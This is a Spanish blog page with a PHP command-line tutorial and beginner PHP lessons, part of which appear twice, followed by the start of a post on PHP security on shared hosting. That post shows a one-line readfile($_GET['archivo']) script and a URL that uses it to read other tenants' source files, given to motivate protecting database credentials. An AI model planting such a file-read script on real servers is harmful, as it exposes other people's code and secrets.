PHP es conocido y amado como una de las mejores tecnologias para la generacion de sitios web dinamicos. Pero a traves de la linea de comandos de PHP (CLI), tambien puede realizar shell scripting (programacion de linea de comandos) usando su lenguaje favorito PHP. PHP CLI permite ejecutar scripts PHP e incluso fragmentos de codigo PHP fuera del navegador web. En windows, la accion se lleva a cabo dentro de la ventana DOS (tambien conocida como consola o ventana de comandos). En UNIX y Mac OS X, va utilizar una terminal (o un programa similar).
Prueba de su instalacion
Para comenzar, lo primero que debemos hacer es confirmar que nosotros tenemos PHP CLI disponible, entonces veremos la version.
Con suerte es cuestion de solo seguir unos pasos.
1.- Abra una interfaz de comandos
2.- ponga php -v y pulse la tecla enter o retorno
Si la version de PHP CLI se encuentra instalado en su PATH (Lista de ubicaciones donde el sistema operativo puede encontrar los archivos) con esto deberia ser mas que suficiente.
En el peor de los casos suponiendo que PHP CLI esta instalado, usted tendra que moverse a la ruta de PHP CLI o poner la ruta completa. Junto a la opcion -v, hay otros tres que podemos mostrarle por adelantado:
* -i revela informacion sobre la instalacion de PHP.
* -h accede al archivo de ayuda.
* -m indica los modulos compilados en su instalacion de PHP.
Uso de la CLI
El hecho de que usted pueda realizar script desde la linea de comandos con PHP no significa que siempre deba utilizarlo. En realidad lo que trata PHP es que utilices los conocimientos que ya tienes en PHP en lugar de utilizar algun otro lenguaje de CLI como PERL o shell en los cuales tengas que volver a iniciarte en la sintaxis. PHP CLI nos sirve mucho para realizar tareas basicas tales como:
* Probar fragmentos de codigo PHP rapidamente
* Realizar algun mantenimiento rutinario
* Crear utilidades para el sistema
* Hacer instaladores para sus aplicaciones de PHP
Ejecutando pequeños fragmentos de codigo
Uno de los primeros usos de PHP CLI es probar pequeños fragmentos de codigo rapidamente, sin pasar por el proceso de:
1.- Escribir un script formal de PHP
2.- Colocarlo en un directorio web
3.- Habilitar el servidor web, si no esta ON (activo)
4.- Ejecutar el script PHP en un navegador web
En vez de hacer todo eso, puede probar pequeños fragmentos de codigo con esta sintaxis:
php -r 'codigo_php_aqui'
Para un ejemplo:
php -r "echo 'Hola, mundo!';"
Un par de cosas a tener en cuenta es el uso de comillas dobles o comillas simples (esto dependiendo del sistema operativo donde estes trabajando) y siempre cerrar el codigo usando ; (punto y coma).
Tambien podemos conectar a un servidor remoto usando putty para conectar, solo es necesario ingresar nuestras credenciales.
Para continuar con el ejemplo, vamos a realizar un codigo que nos muestre la ultima modificacion de un archivo, en el cual podemos especificar la ruta completa o movernos al directorio donde se encuentra el archivo.
C:\Users\arthusu>php -r "$filename = 'log.txt'; $fmtime = filemtime($filename);
if(file_exists($filename)){ echo date('F d Y H:i:s',$fmtime); }"
May 02 2014 07:57:30
Mi directorio actual es C:\Users\arthusu en este directorio se encuentra el archivo 'log.txt'.
Y el resultado que nos arroja es May 02 2014 07:57:30 que es la fecha de la ultima modificacion del archivo.
vamos a explicar el codigo, en la variable $filename especificamos la ruta del archivo que queremos saber su ultima modificacion en este caso 'log.txt' pero tu podrias poner la ruta completa, con la variable $fmtime se guarda la ultima fecha de modificacion el archivo 'log.txt' en formato devuelto como tiempo UNIX, por ultimo hacemos un condicional donde verificamos si el archivo existe y si es asi mostramos la ultima fecha de modificacion en el formato anterior usando la funcion date().
Para agregar una nueva linea en consola usamos \n ya que no podemos usar HTML.
C:\Users\arthusu>php -r "echo \"Hola Mundo!\n\";"
Hola Mundo!
PHP CLI interactivo
Desde la version 5.1, PHP es compilado con una extension Readline la cual podemos correr una shell interactiva. Para utilizar PHP CLI Interactivo solo tenemos que seguir los pasos de abajo.
1.- entramos en modo shell interactiva php -a
2.- escribimos un fragmento pequeño de codigo y presionamos la tecla enter
Tambien podemos ver con php -m que el modulo readline esta activado.
Creamos una variable:
Usted puede crear variables, arrays para su posterior consulta, tal como constantes y funciones todo en una sola sesion.
Tambien si ponemos pri y presionamos la tecla TAB nos autocompleta. Gracias a la extension Readline incluimos muchas caracteristicas tales como tambien usar flecha arriba y flecha abajo para ver las lineas anteriores.
Poniendo exit salimos de la sesion del modo shell interactivo.
Creando un script de linea de comandos
Ser capaz de probar pequeños fragmentos de codigo en la linea de comandos es agradable, pero no te llevara lejos. Lo que normalmente se desea hacer es ejecutar scripts (varias lineas) en la linea de comandos. Tales scripts pueden ejecutar algunos archivos, realizar mantenimiento a una base de datos, ejecutar actualizaciones para el sitio web y demas. Un script para utilizarlo en PHP CLI es diferente a un script de PHP WEB.
1.- No se debe utilizar con codigo HTML
2.- No es necesario utilizar la extension .php (aunque si es recomendable)
3.- La primera linea de su script sera: #!/usr/bin/php
No hay nada de malo en usar codigo HMTL, pero solo va estorbar en el resultado en la consola. En cuanto a la extesion del archivo podria utilizar literalmente cualquier extension o nombre, pero .php todavia es una buena idea. La ultima linea indica para sistemas MAC OS X o UNIX donde se encuentra el ejecutable de php, esta linea es llamada Shebang, en sistemas Windows no es necesario especificarla ya que es ignorada completamente.
Vamos a crear nuestro primer script de linea de comandos y explicarlo.
#!/usr/bin/php
<?php # Script - numero.php
/* Esta pagina lee un archivo
* e imprime el numero de lineas junto al contenido.
* Este script puede ser usado con PHP CLI
*/
// El archivo:
$file = 'c:\users\arthusu\log.txt';
// Imprimimos un mensaje dentro:
echo "\nNumerando el archivo llamado '$file' ... ----------------\n\n";
// Leemos en el archivo:
$data = file($file);
// Contador del numero de linea:
$n = 1;
// Imprimimos para cada linea:
foreach($data as $line){
// Imprimimos el numero y linea del archivo:
echo "$n $line";
// Incrementamos le numeor de linea:
$n++;
} // Terminamos el bucle foreach.
echo "\n ------------------------ Fin del archivo '$file'.\n";
?>
1.- Especificamos la linea Shebang (aunque realmente no es necesaria si estas en windows), y despues abrimos la etique php (porfin!!!)
2.- Indicamos la ruta del archivo a ser numerado en la variable $file
3.- Usamos la funcion file() para leer el archivo que se guardara en un array
4.- Imprimimos un mensaje de que el archivo comienza
5.- Creamos una variable $n la cual contendra el numero de lineas, recorremos con el bucle foreach() cada linea y aumentamos la variable $n de la linea en 1 para ir contando las lineas.
6.- Terminamos el mensaje de que el archivo termina, y recuerda aqui si cerramos la etiqueta de php.
Usted puede hacer uso de la configuracion php.ini desde la linea de comandos, una manera de buscar el archivo de configuracion es utilizar:
D:\>php -i | find /i "Configuration File"
Configuration File (php.ini) Path => C:\Windows
Loaded Configuration File => C:\xampp\php\php.ini
o tambien:
php --ini
Hay algunas opciones con la que podemos cambiar le comportamiento del archivo php.ini.
* -c Le decimos a php donde buscar el archivo php.ini
* -n Le decimos a php que no utilice el archivo php.ini
* -d Establece un valor para php.ini
Por ejemplo, podemos hacer uso de ignore_user_abort en true para que el script se siga ejecutando incluso cuando el usuario aborte el script, para ello cuando invocamos CLI usamos:
php nombredelscript.php -d ignore_user_abort=1
Corriendo un script de linea de comandos
Hay dos maneras de correr un script en php. La primera manera es utilizar php y el nombre del archivo a ejecutar:
php nombredelscript.php
tambien podemos utilizar la bandera -f:
php -f nombredelscript.php
aunque no es necesario, pero si recomendable.
La segunda manera de hacerlo que se decia es simplemente utilizar el nombre del archivo, pero para ello tienes que tener configurado windows por ejemplo a abrir por defecto ese tipo de archivo con php.exe:
Clic derecho en el archivo > Abrir con... y eliges el archivo php.exe (en mi caso C:\Xampp\htdocs\php\php.exe), para correr el archivo solo entras en la consola y escribes el nombre del archivo, por ejemplo: miarchivo.php y enter.
Podemos utilizar la opcion -l para saber si algun archivo tiene algun error de sintaxis:
php -l elnombredemiarchivo.php
Si no contiene errores devolvera algo como lo siguiente:
No syntax errors detected in xxxx.php
Trabajando con argumentos en la linea de comandos
El ejemplo numero.php es una aplicacion bastante razonable en PHP CLI. El script proporciona un valioso servicio, pero tiene una limitacion: el archivo a ser numerado en el script esta hard-coded. Seria mejor establecer ese valor del archivo cuando se utiliza la aplicacion. Esto puede lograrse facilmente reescribiendo el script para que utilice argumentos en la linea de comandos. Los argumentos en la linea de comandos son valores pasados en una aplicacion cuando se ejecuta. Los argumentos se pasan a la aplicacion invocada añadiendolos despues del nombre de la aplicacion:
nombredelscript.php argumento1 argumento2
En su script PHP puede acceder a estos argumentos refiriendose a $argv y $argc (o mas formal $_SERVER['argv'] y $_SERVER['argc'])
El array $argv almacena cada argumento proporcionado; $argc almacena el numero de elementos en $argv. El unico incoveniente a la utilizacion de estos es que el nombre del script en si es el primer argumento listado ($_SERVER['argv'][0]):
#!/usr/bin/php
<?php
echo "\n{$_SERVER['argc']} argumentos recibidos. Los cuales son...\n";
foreach ($_SERVER['argv'] as $k => $v) {
echo "$k : $v \n";
}
?>
Vamos a escribir un nuevo script numero.php para que acepte un argumento: el nombre del archivo a numerar.
#!/usr/bin/php
<?php # numero2.php
/* Esta pagina lee un archivo
* e imprime el numero de lineas junto al contenido.
* Este script puede ser usado con PHP CLI
* Este script espera un argumento (junto al nombre del script)
* El numbre del archivo a numerar.
*/
// Verificamos que el nombre fue asignado:
if ($_SERVER['argc'] == 2){
// Obtenemos el nombre del archivo
$file = $_SERVER['argv'][1];
// Hay que estar seguros que el archivo existe y es un archivo:
if(file_exists($file) && is_file($file)){
// Leemos un archivo:
if($data = file($file)){
// Imprimimos un mensaje dentro:
echo "\n Numerando el archivo llamado '$file' \n ---------------------------\n\n";
// Contador de lineas
$n = 1;
// Imprimimos cada linea:
foreach ($data as $line) {
// Imprimimos el numero y la linea:
echo "$n $line";
// Incrementamos el numero de linea:
$n++;
} // Fin del bucle foreach
echo "\n ---------------------------\n Fin del archivo '$file'.\n";
exit(0);
}else{
echo "El archivo no pudo ser leido.\n";
exit(1);
}
} else {
echo "El archivo no existe \n";
exit(1);
}
} else {
// Imprimimos el uso:
echo "\n Uso: numero2.php <archivo>\n\n";
exit(1);
}
?>
1.- Comenzamos agregando la linea shebang y nuestra etiqueta de apertura php:
#!/usr/bin/php
<?php
2.- Verificamos que el archivo fue provisto: if ($_SERVER['argc'] == 2){
3.- Estamos seguros de que el archivo existe:
$file = $_SERVER['argv'][1];
if(file_exists($file) && is_file($file)){
El array argv le pusimos 1 por que en 0 esta el nombre del script que estamos ejecutando actualmente y como segundo argumento nuestro argumento que nos interesa.
4.- Leemos el archivo y lo imprimimos:
if($data = file($file)){
// Imprimimos un mensaje dentro:
echo "\n Numerando el archivo llamado '$file' \n ---------------------------\n\n";
// Contador de lineas
$n = 1;
// Imprimimos cada linea:
foreach ($data as $line) {
// Imprimimos el numero y la linea:
echo "$n $line";
// Incrementamos el numero de linea:
$n++;
} // Fin del bucle foreach
echo "\n ---------------------------\n Fin del archivo '$file'.\n";
5.- Devuelve 0 para indicar la correcta ejecucion del script:
exit(0);
Tipicamente 0 representa que se ejecuto sin problemas y un numero distinto significa algun tipo de error. La funcion exit() termina con la ejecucion del script.
6.- Completamos el condicional del paso 4:
}else{
echo "El archivo no pudo ser leido.\n";
exit(1);
}
7.- Completamos el condicional del paso 3:
} else {
echo "El archivo no existe \n";
exit(1);
}
8.- Completamos el condicional del paso 2 y completamos el script:
} else {
// Imprimimos el uso:
echo "\n Uso: numero2.php <archivo>\n\n";
exit(1);
}
Para ejecutarlo solo usamos:
php numero2.php <rutaarchivo>
Creacion de una interfaz
El uso de PHP en linea de comandos, se abre todo un nuevo mundo que en la web no tiene: la interfaz de usuario. Claro que la presentacion de una pagina web es algo diferente se utiliza HTML, pero en linea de comandos no es asi, para comenzar la mayoria de la mayoria de los scripts en lineas de comandos indican como se utilizara, si esta se utiliza incorrectamente. Escriba php -varmit y vera lo que quiero decir. El script numero2.php hace esto pero solo poco, los scripts normalmente hacen mas, como mostrar una opcion para ofrecer ayuda, por ejemplo: con el comando -h o --help.
Por ultimo, las aplicaciones de linea de comandos a menudo arrojan un codigo que indica si la operacion se realizo con exito. El numero 0 es devuelto para indicar que no hubo ningun problema, y algunos numeros distintos a cero devuelven distintas cosas. En numero2.php se devuelve 1 para indicar que hay un error.
Una alternativa para el uso de argumentos de linea de comandos es solicitar la entrada del usuario (si bien se pueden utilizar ambas tecnicas en combinacion). De esta manera puede crear una aplicacion interactiva, donde se pide al usuario informacion y hace algo con lo que se ingresa.
Tomandos entradas
Por extraño que pueda parecer, teniendo una entrada (input) en la aplicacion de la linea de comandos es exactamente igual que la lectura de datos desde un archivo. Pero en este caso, en lugar de utilizar un manejador de archivo (un puntero a un archivo abierto) vamos a usar una constante especial STDIN. Esto significa entrada estandar (standard input) lo que seria el teclado por defecto. Una forma facil de leer la entrada estandar seria utilizar la funcion fgets():
echo "Dime algo ";
$input = fgets(STDIN);
Todo lo escrito alli por el usuario se asigna a $input. Para ser mas precisos con la entrada, me gusta utilizar la funcion fscanf(). Como printf() y sprintf(). Esta funcion toma el formato de parametros para manejar tipos especificos de datos. Mediante el uso de esta funcion, en lugar de uno mas generico, nos aseguramos de una validacion basica de los datos leidos. En el siguiente ejemplo, fscanf() se utiliza para crear una aplicacion que convierte temperaturas entre grados Fahrenheit y Celsius (y al reves).
#!/usr/bin/php
<?php # temperatura.php
/* Esta pagina convierte la temperatura entre
* Fahrenheit y Celsius.
* Este script es para utilizarlo en PHP CLI.
* Este script requiere la entrada (input) de un usuario.
*/
// Entrada del usuario:
echo "\nIntroduzca la temperatura e indique si es Fahrenheit o Celsius [##.# C/F]: ";
// Leemos en una entrada condicional:
if(fscanf(STDIN, '%f %s', $temp_i, $which_i) == 2){
// Asumimos una salida invalida:
$which_o = FALSE;
// Creamos la conversion basado en $wich_i:
switch (trim($which_i)) {
// Celsius, convierte a Fahrenheit;
case 'C':
case 'c':
$temp_o = ($temp_i * (9.0/5.0)) + 32;
$which_o = 'F';
$which_i = 'C';
break;
// Fahrenheit, convierte a Celsius:
case 'F':
case 'f':
$temp_o = ($temp_i - 32) * (5.0/9.0);
$which_o = 'C';
$which_i = 'F';
break;
} // Fin del SWITCH.
// Imprimimos los resultados:
if($which_o){
printf("%0.1f %s es %0.1f %s.\n", $temp_i, $which_i, $temp_o, $which_o);
}else{
echo "Tu fallaste en poner C o F para indicar el tipo de temperatura.\n";
}
}else{ // No puso nada en la entrada
echo "Tu fallastes en usar la sintaxis correcta.\n";
} // Fin del IF principal.
?>
1.- Comenzamos nuestro script temperatura.php:
#!/usr/bin/php
<?php # temperatura.php
2.- Preguntamos al usuario en que quiere convertir la temperatura:
echo "\nIntroduzca la temperatura e indique si es Fahrenheit o Celsius [##.# C/F]: ";
3.- Leemos un numero con punto y una cadena:
if(fscanf(STDIN, '%f %s', $temp_i, $which_i) == 2){
fscanf() intentara leer en, de la entrada estandar, un numero con punto y una cadena. Estos deben coincidir con la temperatura (por ejemplo, 72.3) y el indicador como el tipo de temperatura (C o F). No hay formato 'caracter' en fscanf(), por lo que con %s son para las cadenas. Si puede leer los tipos de datos en ese orden, que van a ser asignados a las variables. La ultima parte de la funcion fscanf() devolvera el numero de valores que asigna a las variables. Asi que si se lee en dos valores, asignado en $temp_i y $which_i, el condicional sabe que los datos adecuados fueron introducidos.
4.- Establecemos una variable en FALSE.
$which_o = FALSE;
Esta variable almacenara las conversiones de la temperatura (la salida).
5.- Realizamos la conversion apropiada:
switch (trim($which_i)) {
// Celsius, convierte a Fahrenheit;
case 'C':
case 'c':
$temp_o = ($temp_i * (9.0/5.0)) + 32;
$which_o = 'F';
$which_i = 'C';
break;
// Fahrenheit, convierte a Celsius:
case 'F':
case 'f':
$temp_o = ($temp_i - 32) * (5.0/9.0);
$which_o = 'C';
$which_i = 'F';
break;
} // Fin del SWITCH.
Si el segundo valor no es un F, C o f, c la conversion no es impresa.
6.- Imprimimos los resultados:
if($which_o){
printf("%0.1f %s es %0.1f %s.\n", $temp_i, $which_i, $temp_o, $which_o);
}else{
echo "Tu fallaste en poner C o F para indicar el tipo de temperatura.\n";
}
Usamos printf() para manejar el formato del texto.
7.- Completamos el condicional del paso 3 y el script.
}else{ // No puso nada en la entrada
echo "Tu fallastes en usar la sintaxis correcta.\n";
} // Fin del IF principal.
?>
Nota: Cualquier funcion de archivo de PHP puede ser usada en STDIN. Esto significa que, por ejemplo, usted podria utilizar fgetc() para recuperar un solo caracter o fgetcsv() para recuperar y analizar una linea entera.
Incorporarlo al servidor
Una adicion en la linea de comandos de PHP 5.4 es un servidor web incorporado. Al usarlo, usted puede probar sus scripts PHP en el navegador web sin necesidad de instalar o ejecutar una aplicacion de servidor web como apache. Para ser absolutamente claro, esto no es un servidor web de produccion, pero puede utilizarse para probar scripts PHP rapidamente.
Para utilizar el servidor web incorporado:
1.- Ponga el siguiente comando para saber si tiene disponible la opcion de servidor web:
php -h
La bandera -h nos lleva a la documentacion de ayuda. Si la documentacion incluye la -S (debe ser mayuscula) y la opcion -t, entonces el servidor incorporado esta disponible.
2.- Navegue hasta el directorio que contiene el script PHP que le gustaria probar:
cd /directorio/a/script
Por defecto, el servidor web usara el directorio en el que el servidor comenzo como el directorio raiz, por lo que usted debe navegar hasta alli primero.
3.- Comenzamos el servidor:
php -S 127.0.0.1:8000
Para iniciar el servidor web utilice la opcion -S, seguido por el nombre de host y el puerto a usar. En su propio ordenador localhost es un nombre de host logico y comun. Para el puerto recomendaria, 8000 o 8080, que son alternativas comunes al puerto por defecto de apache 80. Utilizando uno de estos puertos evita posibles conflictos si ya tiene otro servidor web corriendo. Tambien puede utilizar una direccion IP si lo prefieres:
php -S 127.0.0.1:8000
4.- Cargamos http://127.0.0.1:8000/elnombredetuscript.php en tu navegador web. Como se carga la pagina en el navegador web debes utilizar la linea de comandos CLI, te daras cuenta que la ventana de consola o terminal refleja las solicitudes.
5.- Pulsa ctrl+C en la consola o terminal para detener el servidor web.
Hasta aqui termina este minitutorial espero que les sirva de ayuda, Saludos!
Mostrando entradas con la etiqueta servidor. Mostrar todas las entradas
Mostrando entradas con la etiqueta servidor. Mostrar todas las entradas
miércoles, 11 de febrero de 2015
jueves, 1 de mayo de 2014
[Parte 1] PHP
PHP
PHP Hypertext Pre-Processor (anteriormente Personal Home Page) es uno de los lenguajes de programacion mas famosos es del lado del servidor y fue creado por Ramus Lerdorf, para poder ejecutarse necesita un servidor web (tecnologia LAMP, aunque no necesariamente tiene que usarse Linux). El uso que se le da es para crear aplicaciones web dinamicas. Y es multiplataforma.
Instalar un servidor web o utilizar uno
Para poder hacer uso de PHP como comentabamos anteriormente, necesitamos hacer uso de un servidor web, con Apache y PHP tendriamos mas que suficiente para empezar a probar, pero igualmente podemos instalar el proyecto Appserv o XAMPP los cuales incluyen Apache, MySQL y PHP, ademas algunas librerias preinstaladas.
Aunque sino quieres instalar el servidor puedes hacer uso de alguno gratis como 000webhost y conectarte via FTP para empezar a probar tus scripts PHP.
Que necesitamos saber
Conocimiento de HTML no estaria nada mal ya que en la mayoria de script de PHP se incluye la estructura HTML.
Crear un documento basico en PHP
Para crear un documento PHP necesitamos abrir las etiquetas:
<?php AquivanuestrocodigoPHP ?>
Y guardarlo con la extension .php
echo - muestra una o mas cadenas
Un ejemplo podria ser el siguiente:
En este ejemplo quiero destacar unas cuantas cosas. PHP es case-insensitive (quiere decir que no diferencia entre mayusculas o minusculas) por eso ECho es igual a echo o tambien a eChO.
Si vemos el resultado del script anterior. Veremos todo en una sola linea, pero si vemos el codigo fuente vemos todo tal y como fue escrito en PHP:
Para poder entonces mostrar un salto de linea se utiliza HTML, en este caso podemos utilizar:
Algun parrafo o salto de linea.
Con " comenzamos una cadena y con " la terminamos y con ; cerramos la linea, siempre que este ; es por que es una linea de codigo.
¿Que pasa en caso de que queramos escribir alguna comilla simple o doble dentro de las que ya tenemos?
Tendriamos un error con el cual lidiar, pero en este caso podemos escribir comillas simples dentro de las dobles o viceversa.
O simplemente escapar las cadenas con el slash invertido \ ...
Tenemos la secuencia de escape \n que seria una nueva linea, solo que no se ve cuando lo mostramos en HTML, esta es util cuando estas programando en linea de comandos.
Nota: Recuerda siempre activar display_errors en tiempo de desarrollo, para darnos cuenta si tenemos un error de sintaxis:
Tenemos los signos #, // y /**/.
Una variable se declara usando el signo dolar ($) $acaelnombredemivariable
Las variables son case-sensitive (quiere decir que diferencia entre mayusculas y minusculas) con esto $variable no es lo mismo que $Variable, una recomendacion al utilizar variables es hacer uso de el estilo Camel Case.
Para asignarle un valor a la variable utilizamos el signo de asignacion (=), en este caso seria algo como lo siguiente:
$acaelnombredemivariable = "acamivalor";
En este caso vamos a hacer uso de las variables predefinidas usando el array $_SERVER que nos devuelve datos del servidor.
En este caso estamos haciendo uso de la sintaxis "here document" la cual no debe tener tabulacion por que sino no funcionaria correctamente, y escribimos nuestras variables para que sean mostradas en el servidor web.
En PHP no es necesario declarar el tipo de la variable ya que esta la toma tal cual convirtiendola.
Como ves declaramos una variable que contiene nuestra cadena y la imprimimos varias veces. Una variable se puede imprimir con comillas dobles o sin ellas. Como ves aquí hay una diferencia al utilizar la comillas simples, esto se debe a que el uso de comillas simples trata todo como literal y el uso de comillas dobles lo interpreta.
Algunas de las funciones utiles que tenemos para nuestras cadenas son:
strlen() - cuenta el numero de caracteres dentro de una cadena
strtoupper() - pasa a mayusculas una cadena
strtolower() - pasa a minusculas una cadena
ucfirst() - pone en mayusculas al primer caracter de una cadena
ucwords() - pone en mayusculas el primer caracter de cada palabra en una cadena
En este caso asignamos el numero sin comillas o con ellas de igual manera es interpretado, aunque es mejor hacerlo sin comillas ya que de esta manera se esta seguro que es es un entero o un decimal (dependiendo de lo que hayas puesto), y al final lo sumamos haciendo uso del operador + (suma). Algunos operadores que tenemos son:
+ | suma
- | resta
* | multiplicacion
/ | division
% | resto
++ | incremento
-- | decremento
Algunas funciones utiles para los numeros son:
number_format() - le da formato a los numeros
round() - redondea al numero mas cercano
Como ves en este caso unimos el 1 con el 5 quedando 15, no como en el caso anterior donde sumabamos los numeros.
Tambien podemos concatenar al momento usando .=, por ejemplo:
Esto es muy util cuando sabemos que esos datos no van a cambiar, como puede ser en el caso de una base de datos, pero para no ir tan a fondo, pongamos por ejemplo el PI :)
Como ves la constante la declaramos y al imprimirla lo hacemos fuera de la cadena y concatenandola, la constante no se debe de declarar dentro de comillas ya que no se interpreta.
En este caso si estamos ejecutando el script 2.php que la url sea http://localhost/2.php o la carpeta correcta...
2.- Ver la version de PHP que estamos corriendo y que display_errors este activado
Esto lo hacemos con la funcion phpinfo() como vimos arriba, esta funcion nos devuelve informacion sobre la configuracion de php.
3.- Mirar el codigo fuente de la pagina...
Aveces en el codigo fuente de la pagina se muestra algun tipo de error en el HTML, lo cual puede estar causando el problema.
4.- Mensaje de error
Este se ve reflejado en la pagina y lo podemos solucionar aveces leyendolo o simplemente haciendo busqueda en Google de el error.
5.- Tomate un descanso
Probablemente puede ser que la logica este mal, o tener la mente pensando en otras cosas, con lo cual no estas concentrado en el codigo, aveces al retomar las cosas las vez mas simples de lo que son o creias que eran.
Hola mundo con la funcion echo o print
print - muestra una cadenaecho - muestra una o mas cadenas
Un ejemplo podria ser el siguiente:
<?php ECho "Hola Mundo Este es un ejemplo"; ?>
En este ejemplo quiero destacar unas cuantas cosas. PHP es case-insensitive (quiere decir que no diferencia entre mayusculas o minusculas) por eso ECho es igual a echo o tambien a eChO.
Si vemos el resultado del script anterior. Veremos todo en una sola linea, pero si vemos el codigo fuente vemos todo tal y como fue escrito en PHP:
Para poder entonces mostrar un salto de linea se utiliza HTML, en este caso podemos utilizar:
<br /> <p></p>
Algun parrafo o salto de linea.
Con " comenzamos una cadena y con " la terminamos y con ; cerramos la linea, siempre que este ; es por que es una linea de codigo.
¿Que pasa en caso de que queramos escribir alguna comilla simple o doble dentro de las que ya tenemos?
Tendriamos un error con el cual lidiar, pero en este caso podemos escribir comillas simples dentro de las dobles o viceversa.
O simplemente escapar las cadenas con el slash invertido \ ...
Tenemos la secuencia de escape \n que seria una nueva linea, solo que no se ve cuando lo mostramos en HTML, esta es util cuando estas programando en linea de comandos.
Nota: Recuerda siempre activar display_errors en tiempo de desarrollo, para darnos cuenta si tenemos un error de sintaxis:
Comentarios
Los comentarios no se ven en la pagina web, y te hacen ver como un profesional ya que estaras documentando tu codigo, de manera que cuando alguien lo retome le sea mas facil ver lo que estabas haciendo. Los comentarios que tienes en PHP son los siguientes:# Este es un comentario de una sola linea
// Este es un comentario de una sola linea
/* Este es un comentario
Multilinea...
*/
Tenemos los signos #, // y /**/.
Variables
Las variables son contenedores temporales que almacenan valores, estos valores pueden ser cadenas, números o datos mas complejos.Una variable se declara usando el signo dolar ($) $acaelnombredemivariable
Las variables son case-sensitive (quiere decir que diferencia entre mayusculas y minusculas) con esto $variable no es lo mismo que $Variable, una recomendacion al utilizar variables es hacer uso de el estilo Camel Case.
Para asignarle un valor a la variable utilizamos el signo de asignacion (=), en este caso seria algo como lo siguiente:
$acaelnombredemivariable = "acamivalor";
En este caso vamos a hacer uso de las variables predefinidas usando el array $_SERVER que nos devuelve datos del servidor.
En este caso estamos haciendo uso de la sintaxis "here document" la cual no debe tener tabulacion por que sino no funcionaria correctamente, y escribimos nuestras variables para que sean mostradas en el servidor web.
En PHP no es necesario declarar el tipo de la variable ya que esta la toma tal cual convirtiendola.
Cadenas
Podemos escribir cadenas haciendo uso de las comillas simple o dobles.Como ves declaramos una variable que contiene nuestra cadena y la imprimimos varias veces. Una variable se puede imprimir con comillas dobles o sin ellas. Como ves aquí hay una diferencia al utilizar la comillas simples, esto se debe a que el uso de comillas simples trata todo como literal y el uso de comillas dobles lo interpreta.
Algunas de las funciones utiles que tenemos para nuestras cadenas son:
strlen() - cuenta el numero de caracteres dentro de una cadena
strtoupper() - pasa a mayusculas una cadena
strtolower() - pasa a minusculas una cadena
ucfirst() - pone en mayusculas al primer caracter de una cadena
ucwords() - pone en mayusculas el primer caracter de cada palabra en una cadena
Numeros
Para asignar un numero a una variable es tan facil como hacer lo siguiente:En este caso asignamos el numero sin comillas o con ellas de igual manera es interpretado, aunque es mejor hacerlo sin comillas ya que de esta manera se esta seguro que es es un entero o un decimal (dependiendo de lo que hayas puesto), y al final lo sumamos haciendo uso del operador + (suma). Algunos operadores que tenemos son:
+ | suma
- | resta
* | multiplicacion
/ | division
% | resto
++ | incremento
-- | decremento
Algunas funciones utiles para los numeros son:
number_format() - le da formato a los numeros
round() - redondea al numero mas cercano
Concatenacion
La concatenacion es unir, para ello utilizamos el punto (.), por ejemplo:Como ves en este caso unimos el 1 con el 5 quedando 15, no como en el caso anterior donde sumabamos los numeros.
Tambien podemos concatenar al momento usando .=, por ejemplo:
Constantes
Las constantes son parecidas a las variables con la diferencia de que estas nunca cambian... para definir una constante usamos:define('NOMBRE',valor);
Esto es muy util cuando sabemos que esos datos no van a cambiar, como puede ser en el caso de una base de datos, pero para no ir tan a fondo, pongamos por ejemplo el PI :)
Como ves la constante la declaramos y al imprimirla lo hacemos fuera de la cadena y concatenandola, la constante no se debe de declarar dentro de comillas ya que no se interpreta.
Depurar nuestro codigo
1.- Ver que la url donde estamos ejecutando el script php sea la correctaEn este caso si estamos ejecutando el script 2.php que la url sea http://localhost/2.php o la carpeta correcta...
2.- Ver la version de PHP que estamos corriendo y que display_errors este activado
Esto lo hacemos con la funcion phpinfo() como vimos arriba, esta funcion nos devuelve informacion sobre la configuracion de php.
3.- Mirar el codigo fuente de la pagina...
Aveces en el codigo fuente de la pagina se muestra algun tipo de error en el HTML, lo cual puede estar causando el problema.
4.- Mensaje de error
Este se ve reflejado en la pagina y lo podemos solucionar aveces leyendolo o simplemente haciendo busqueda en Google de el error.
5.- Tomate un descanso
Probablemente puede ser que la logica este mal, o tener la mente pensando en otras cosas, con lo cual no estas concentrado en el codigo, aveces al retomar las cosas las vez mas simples de lo que son o creias que eran.
Etiquetas:
basico,
cadenas,
comentarios,
concatenar,
constantes,
depurar,
documento,
echo,
funciones,
holamundo,
html,
numeros,
php,
print,
servidor,
variables
martes, 8 de abril de 2014
[Parte 8] Seguridad en PHP
Alojamiento compartido
Muchas veces por mas seguro que estes en codigo el servidor puede no estar bien configurado, pero como en este caso no se habla a profundidad en el tema de los servidores sino en el tema de seguridad en php será en lo que nos centraremos.Codigo fuente expuesto
En un servidor web compartido tenemos la mala suerte de que el codigo podria tambien ser leido por otros usuarios que esten en el mismo alojamiento, si el alojamiento compartido no esta bien configurado, el usuario podria insertar un codigo como el siguiente:<?php header("Content-Type: text/plain"); readfile($_GET['archivo']);?>
Un atacante con este codigo en su servidor web, podria obtener la ruta completa de nuestro alojamiento, e intentar incluir algun codigo nuestro, un ejemplo podria ser de la siguiente forma:
http://ejemplo.com/archivo.php?archivo=/ruta/para/codigo_fuente.phpLa manera que se le ve mas segura para almacenar este tipo de datos para que nadie vea donde no debe, seria guardarlos en una base de datos (encriptados), pero esto deja un problema todavia... ¿como hacer para que nuestros datos a la coneccion de la base de datos esten seguros?, un ejemplo nosotros tenemos un archivo php como el siguiente:
<?php $db_user = 'miusuario'; $db_pass = 'micontraseña'; $db_host = 'localhost'; $db = mysql_connect($db_host,$db_user,$db_pass);?>
La mejor solucion para este tipo de problema, seria crear un archivo de configuracion para estos datos, que solo un usuario root (permisos administrativos) pueda leer. Agregando lo siguiente:
SetEnv DB_USER "MiUsuario"
SetEnv DB_PASS "MiContraseña"
SetEnv es una directiva de apache, el formato de este archivo indica a Apache crear variables de entorno para su usuario y contraseña de la base de datos. Y porsupuesto, este archivo solo lo podria leer un usuario root, pero si no tienes suficientes permisos, podrias usar el siguiente comando:
$ chmod 600 db.conf
Con ese permiso solo el propietario del archivo puede leer y escribir en el.
Para que este archivo le sea de utilidad, usted necesita poder acceder a el mediante PHP. Para ello editamos el archivo httpd.conf de manera que incluyamos nuestro archivo:
Include "/ruta/para/db.conf"
Ahora solamente en PHP hacemos referencia con la variable superglobal $_SERVER de la siguiente manera:
<?php $db_user = $_SERVER['DB_USER']; $db_pass = $_SERVER['DB_PASS']; $db_host = 'localhost'; $db = mysql_connect($db_host,$db_user,$db_pass);?>
